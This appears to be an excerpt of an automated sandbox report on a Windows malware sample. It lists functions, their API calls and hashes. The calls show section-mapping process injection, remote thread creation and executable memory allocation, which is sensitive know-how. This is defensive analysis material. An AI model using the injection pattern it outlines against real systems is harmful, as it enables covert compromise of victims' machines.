Opcode ID: 7bb1df720b8f813faa3697c6259eeb6b3a5716e5c382bc39f4698e2c5426f3b5
Instruction ID: d2c64d108ecd7190b789ce3c9d4f03e3911909dfd4099b6475a4add21270c3a3
Opcode Fuzzy Hash: 7bb1df720b8f813faa3697c6259eeb6b3a5716e5c382bc39f4698e2c5426f3b5
Instruction Fuzzy Hash: 6D019EB7208208E6DB006AA5AC51ABA33189B44359F304537F723790F6D57D8612E72F

Function 004018F1 Relevance: 1.3, APIs: 1, Instructions: 55
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000000.00000002.2131322450.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BzLGqYKy7o.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: db3408315eb658ba3491db04f2d46bddbd6b336d8c43cf969156009dde905ade
Instruction ID: b5ca90d31d4069b8fd1e735589466699ca1bb5e14181e618ca72d4e2f39bbf06
Opcode Fuzzy Hash: db3408315eb658ba3491db04f2d46bddbd6b336d8c43cf969156009dde905ade
Instruction Fuzzy Hash: D101D2B6608204EBDB019AF49C62A7A37549F44315F200137FA53790F1D67D8643E72F

Function 00401912 Relevance: 1.3, APIs: 1, Instructions: 52
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000000.00000002.2131322450.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BzLGqYKy7o.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 7e129187160df36b360d42079074bb08fe8934bb284168352239ee73acaefb28
Instruction ID: 0621b20c29367ada74e4c9127c9a5516285bec5e68af8f441e6b7f153e3f788d
Opcode Fuzzy Hash: 7e129187160df36b360d42079074bb08fe8934bb284168352239ee73acaefb28
Instruction Fuzzy Hash: 11017CB560C204EAEB109AA49C61A7A3318AB44354F304537FA27790F5D67D9612E72F

Function 005AFE8F Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 005AFEE0

Memory Dump Source

Source File: 00000000.00000002.2133342006.000000000059E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0059E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_59e000_BzLGqYKy7o.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 134329b68aab8e0e48211d480fb418466929546c9f92f2238432f27d564cdf45
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 9A113F79A00208EFDB01DF98C985E99BFF5AF09350F0580A4F9489B362D371EA50DF80

Function 00401925 Relevance: 1.3, APIs: 1, Instructions: 46
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000000.00000002.2131322450.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BzLGqYKy7o.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 2f4c2daa00eb47e2555f44135ed694f04ab08e7709eb0f7e86441ab925b63f7c
Instruction ID: ea6e3854d66af35421fcd7571e0742f45a6e64d38424a4e1b6315f5079e28d0a
Opcode Fuzzy Hash: 2f4c2daa00eb47e2555f44135ed694f04ab08e7709eb0f7e86441ab925b63f7c
Instruction Fuzzy Hash: 28F08CB6208204EADB00AEA49C61EBA3318AB44314F304533FB23790F5C67D8612E72F

Non-executed Functions

Function 004E092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

l, xrefs: 004E0966
., xrefs: 004E095F
GetProcAddress., xrefs: 004E09DC, 004E09DF, 004E09E4

Memory Dump Source

Source File: 00000000.00000002.2132022634.00000000004E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_BzLGqYKy7o.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 2afff6d97f0d5d265b30955e71ec098413363c8082aaa5e6f1f0c23110c51dc9
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 01316EB6900649DFDB10CF9AC880AAEBBF5FF48325F14404AD451A7312D7B5EA85CFA4

Function 00403277 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2131322450.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BzLGqYKy7o.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2be31adffe8ef9a69749db2abe7559b0cece5d524a2086fe9dfd492a8f138f6b
Instruction ID: 9a70a59ca06b8baac6379d39fd7701dedd3f8fe15a89ac6d8ad20cbbbbeea73d
Opcode Fuzzy Hash: 2be31adffe8ef9a69749db2abe7559b0cece5d524a2086fe9dfd492a8f138f6b
Instruction Fuzzy Hash: 9041256085D2C24FEB5B4E3448955E27F69E96336231801FFC482EB1D7D63D4B07925A

Function 0040324F Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2131322450.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BzLGqYKy7o.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd713e8a9ffb35993257ca06bb1ca9cf03b0909bce816e3c168a85f7237ff4a9
Instruction ID: 47d85a717b2f9eb1e037dbaf55b436ab29ce309417f93d286f8d159decdfda18
Opcode Fuzzy Hash: bd713e8a9ffb35993257ca06bb1ca9cf03b0909bce816e3c168a85f7237ff4a9
Instruction Fuzzy Hash: 681101A1D1D2829BDF5B1E2108655767F6C6E7331772800FFD042BA2D2E23D5B02A26F

Function 00403256 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2131322450.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BzLGqYKy7o.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8235a342c0a5ccfb7a676b72f8706d5939bc8c2cb4e96ca567b58c971c6cfde2
Instruction ID: 44dbed29d4116881d315b966fbacf1cf40a73d3247e8d5490da27da81908206f
Opcode Fuzzy Hash: 8235a342c0a5ccfb7a676b72f8706d5939bc8c2cb4e96ca567b58c971c6cfde2
Instruction Fuzzy Hash: 091120A1D1C2825BDF9B1E204C645B27F6C6A7332371800FFE402BA2D6E23D1B03925E

Function 00403247 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2131322450.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BzLGqYKy7o.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f11a235e0e08faed31d233c350fe522c88a0f226e8326adf6e177ce42ec05621
Instruction ID: 6cc5313a22b02943346cb09be328e63b116041f9455492dba296d6b6c8d47a80
Opcode Fuzzy Hash: f11a235e0e08faed31d233c350fe522c88a0f226e8326adf6e177ce42ec05621
Instruction Fuzzy Hash: 0111E0A1C1D2829BDF5A2E2108648767F6C6A7731772800FFD042FA2D6E23D5B03A15F

Function 005AFAAD Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2133342006.000000000059E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0059E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_59e000_BzLGqYKy7o.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 776f1fa7c33d843a055052c72e5a2c6a432081ef5e894b143d8ffc4d3188508f
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 28117C72340105AFDB44DE95DC91EAA77EAFB89360B298065E909CB312E675EC02C760

Function 0040326C Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2131322450.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BzLGqYKy7o.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ec03d413cbbfde9ae04b67bfcc6c031395faee012b42a8efe698a5ecb0e7cee
Instruction ID: 83c2e45a663ff97a83121d71df7fde14c7d1be506299b7fe0adcc4aca9f65d16
Opcode Fuzzy Hash: 9ec03d413cbbfde9ae04b67bfcc6c031395faee012b42a8efe698a5ecb0e7cee
Instruction Fuzzy Hash: 3211CBA1C1D2825BDFAA1E2108544B67F6CAA7771771400FFD402BA2D6E23D5B02929E

Function 00403290 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2131322450.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BzLGqYKy7o.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e274102659cc5964db6623cf4447b3957c7ecae9963d781930d0ebff3212451b
Instruction ID: 18a3bc8234d562e7f0c7d25340e1ec3d72d942eb246f5034c2dedc7c4f371e85
Opcode Fuzzy Hash: e274102659cc5964db6623cf4447b3957c7ecae9963d781930d0ebff3212451b
Instruction Fuzzy Hash: 3611E191D1C2820BDFA62E2048545B67F6C5A7335771840FFD401F62D6F13D1F02825A

Function 004E0D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2132022634.00000000004E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_BzLGqYKy7o.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 7f122e87e4b10b88a260dd6f6917151713e982c092820a5c47ea5c5c82e06777
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 3701DF72A006408FDB21CF65CD04FAB33A5EB86306F0544B6D91AD7281E3B8A8818B84

Analysis Process: teihrdrPID: 6460, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	7.8%
Dynamic/Decrypted Code Coverage:	42.6%
Signature Coverage:	0%
Total number of Nodes:	122
Total number of Limit Nodes:	4

Executed Functions

Function 00401514 Relevance: 10.7, APIs: 7, Instructions: 201
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000004.00000002.2368799109.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_teihrdr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 030196af5c35925124d1a5e0ae71aae975fd3bc268d3cb8e752286d8b76e3a9f
Instruction ID: b77a8bcfde574781322ebaec397cd5e92af5eb717990e6e7793f83a32abcc97b
Opcode Fuzzy Hash: 030196af5c35925124d1a5e0ae71aae975fd3bc268d3cb8e752286d8b76e3a9f
Instruction Fuzzy Hash: 24615E71900244FBEB209F95CC49FAF7BB8EF85700F20412AF912BA1E5D6749A01DB69

Function 004014FE Relevance: 10.7, APIs: 7, Instructions: 180
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000004.00000002.2368799109.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_teihrdr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: 797714e4bcca61813209f29cc723c8138b20262a6c787ca69d6a1213da408676
Instruction ID: 0ec8d6d4108695f7377ece7931361284e20275783593a2318d747dbe857377b0
Opcode Fuzzy Hash: 797714e4bcca61813209f29cc723c8138b20262a6c787ca69d6a1213da408676
Instruction Fuzzy Hash: 6A5129B5900209BFEB209F95CC48FEF7BB9EF85710F14412AF912BA2A5D6749901CB24

Function 00401542 Relevance: 10.7, APIs: 7, Instructions: 167
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000004.00000002.2368799109.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_teihrdr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2b177f7e9ccc32c3765a626e79a5c8eb6b5311b77b213a5c8649f7db25de2716
Instruction ID: 759091ef041ca07c69b7a79068e02688b6544eb302bab9b440b0429bbb41aca5
Opcode Fuzzy Hash: 2b177f7e9ccc32c3765a626e79a5c8eb6b5311b77b213a5c8649f7db25de2716
Instruction Fuzzy Hash: E85119B1900249BFEB209F91CC48FAF7BB8EF85B10F144169F911BA2A5D6749941CB24

Function 00401549 Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000004.00000002.2368799109.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_teihrdr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2c5afbad373231fc2fe72851e77a16272d6e8026ab94bc2156a59f1271be232c
Instruction ID: 7a8a064d68380c64131d995910f5c092f0e660b32494b1024d3e535184c76cf3
Opcode Fuzzy Hash: 2c5afbad373231fc2fe72851e77a16272d6e8026ab94bc2156a59f1271be232c
Instruction Fuzzy Hash: 78510875900249BFEF209F91CC48FAFBBB8FF86B10F144159F911AA2A5E6709940CB24

Function 00401557 Relevance: 10.7, APIs: 7, Instructions: 162
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000004.00000002.2368799109.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_teihrdr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2a6c5c204d9128e257f6824072ce96b4ac123ccef225123859878a505f2b6fa6
Instruction ID: 25abb30e6883f9026caabbb74ebb32c420b3dbd3b7f631cb87a4d5ab1caa8f11
Opcode Fuzzy Hash: 2a6c5c204d9128e257f6824072ce96b4ac123ccef225123859878a505f2b6fa6
Instruction Fuzzy Hash: C75118B5900209BFEF209F91CC48FAFBBB8FF85B10F144169F911BA2A5D6709940CB24

Function 00402F97 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 004030CB
NtTerminateProcess.NTDLL ref: 004030E4

Memory Dump Source

Source File: 00000004.00000002.2368799109.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_teihrdr.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction ID: 1591ba869369ea84e79847af2efd18b9bf5795e6c00b1d775a4c0b4e714efbc4
Opcode Fuzzy Hash: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction Fuzzy Hash: FD414531218E0C4FD7A8EF6CA88576277D5F798311F6643AAE809D3389EA74DC1183C5

Function 0060003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0060024D

Strings

kernel32.dll, xrefs: 0060008F, 00600095
cess, xrefs: 0060018D

Memory Dump Source

Source File: 00000004.00000002.2369051681.0000000000600000.00000040.00001000.00020000.00000000.sdmp, Offset: 00600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_600000_teihrdr.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: bbbf4db3596f4485a88410cc2d3c193017e3a9667bdecbbed5112f2fd1dd1f22
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 02526974A01229DFDB64CF58C985BA9BBB1BF09304F1480E9E54DAB391DB30AE85DF14

Function 0069F998 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0069F9C0
Module32First.KERNEL32(00000000,00000224), ref: 0069F9E0

Memory Dump Source

Source File: 00000004.00000002.2369233302.000000000068D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0068D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_68d000_teihrdr.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 79f59a5d47273e85865966b3a865d013e98ee0cfb98cb835860f945f175fe23d
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 6CF0F6321007147BDB203BF8A88DBAE76EDAF48325F11053AF642D19C0DB70EC058660

Function 00600E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00600223,?,?), ref: 00600E19
SetErrorMode.KERNELBASE(00000000,?,?,00600223,?,?), ref: 00600E1E

Memory Dump Source

Source File: 00000004.00000002.2369051681.0000000000600000.00000040.00001000.00020000.00000000.sdmp, Offset: 00600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_600000_teihrdr.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 5e5b7fc9be17af52c8aa1593ebc2cf7226538b4808b2ec5a12ddc81c56322646
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 08D0123114512877D7002A94DC09BCE7B1CDF05B62F008411FB0DE9180C770994046E5

Function 004018E6 Relevance: 1.3, APIs: 1, Instructions: 63
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000004.00000002.2368799109.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_teihrdr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: a4b5604c3fad4e3a9f3f792e8fb47035b06f8c3694b385928224ebe720cba1b7
Instruction ID: 08a90aa29aaa59261053d8f0d19a3ecdc4dd21bf61fce8c4d66a51d0c793aa75
Opcode Fuzzy Hash: a4b5604c3fad4e3a9f3f792e8fb47035b06f8c3694b385928224ebe720cba1b7
Instruction Fuzzy Hash: EB11A1F660C204FAEB106AA49C61E7A3318AB40754F304137F613790F5957D9A13F66F

Function 00401915 Relevance: 1.3, APIs: 1, Instructions: 59
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000004.00000002.2368799109.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_teihrdr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 7bb1df720b8f813faa3697c6259eeb6b3a5716e5c382bc39f4698e2c5426f3b5
Instruction ID: d2c64d108ecd7190b789ce3c9d4f03e3911909dfd4099b6475a4add21270c3a3
Opcode Fuzzy Hash: 7bb1df720b8f813faa3697c6259eeb6b3a5716e5c382bc39f4698e2c5426f3b5
Instruction Fuzzy Hash: 6D019EB7208208E6DB006AA5AC51ABA33189B44359F304537F723790F6D57D8612E72F

Function 004018F1 Relevance: 1.3, APIs: 1, Instructions: 55
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000004.00000002.2368799109.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_teihrdr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: db3408315eb658ba3491db04f2d46bddbd6b336d8c43cf969156009dde905ade
Instruction ID: b5ca90d31d4069b8fd1e735589466699ca1bb5e14181e618ca72d4e2f39bbf06
Opcode Fuzzy Hash: db3408315eb658ba3491db04f2d46bddbd6b336d8c43cf969156009dde905ade
Instruction Fuzzy Hash: D101D2B6608204EBDB019AF49C62A7A37549F44315F200137FA53790F1D67D8643E72F

Function 00401912 Relevance: 1.3, APIs: 1, Instructions: 52
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
